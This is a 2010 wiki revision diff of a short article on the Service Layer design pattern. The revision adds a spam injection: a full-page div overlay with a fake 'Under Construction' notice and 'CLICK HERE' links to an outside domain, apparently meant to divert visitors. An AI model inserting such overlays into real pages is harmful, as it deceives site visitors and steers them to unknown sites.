Service layer pattern
Line 5: | Line 5: | ||
There are two ways of implementing the Service Layer Pattern. One is the domain façade approach which builds a façade to invoke the business logic provided by the domain logic classes. Another approach is named the operation script approach, which builds a layer of classes for the application logic with the encapsulated business logic from those business logic classes. | There are two ways of implementing the Service Layer Pattern. One is the domain façade approach which builds a façade to invoke the business logic provided by the domain logic classes. Another approach is named the operation script approach, which builds a layer of classes for the application logic with the encapsulated business logic from those business logic classes. | ||
− | ==== When to Use It ==== | + | >==== When to Use It ==== |
The Service Layer patter should only be used when there are more than one kind of client or the application use case involves multiple transactional resources. In other cases, the benefits of using Service Layer are hugely compromised by the constructing effects. | The Service Layer patter should only be used when there are more than one kind of client or the application use case involves multiple transactional resources. In other cases, the benefits of using Service Layer are hugely compromised by the constructing effects. | ||
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://uwyfyxi.co.cc Under Construction! Please Visit Reserve Page. Page Will Be Available Shortly]= | ||
+ | ---- | ||
+ | =[http://uwyfyxi.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> |
Revision as of 02:30, 18 November 2010
The definition for the Service Layer Pattern is “defines an application’s boundary with a layer of services that establishes a set of available operations and coordinates the application’s response in each operation”.
A service layer always defines the application’s boundary and the responsibilities from the client’s view point. The business logic are usually be considered as domain logic and application specific logic. When application logic and domain logic are mixed together, the result domain logic class becomes less reusable and hard to maintain or extend. The Service Layer can be used in this kind of situation to factor the application specific logic our from the domain logic.
There are two ways of implementing the Service Layer Pattern. One is the domain façade approach which builds a façade to invoke the business logic provided by the domain logic classes. Another approach is named the operation script approach, which builds a layer of classes for the application logic with the encapsulated business logic from those business logic classes.
>==== When to Use It ==== The Service Layer patter should only be used when there are more than one kind of client or the application use case involves multiple transactional resources. In other cases, the benefits of using Service Layer are hugely compromised by the constructing effects.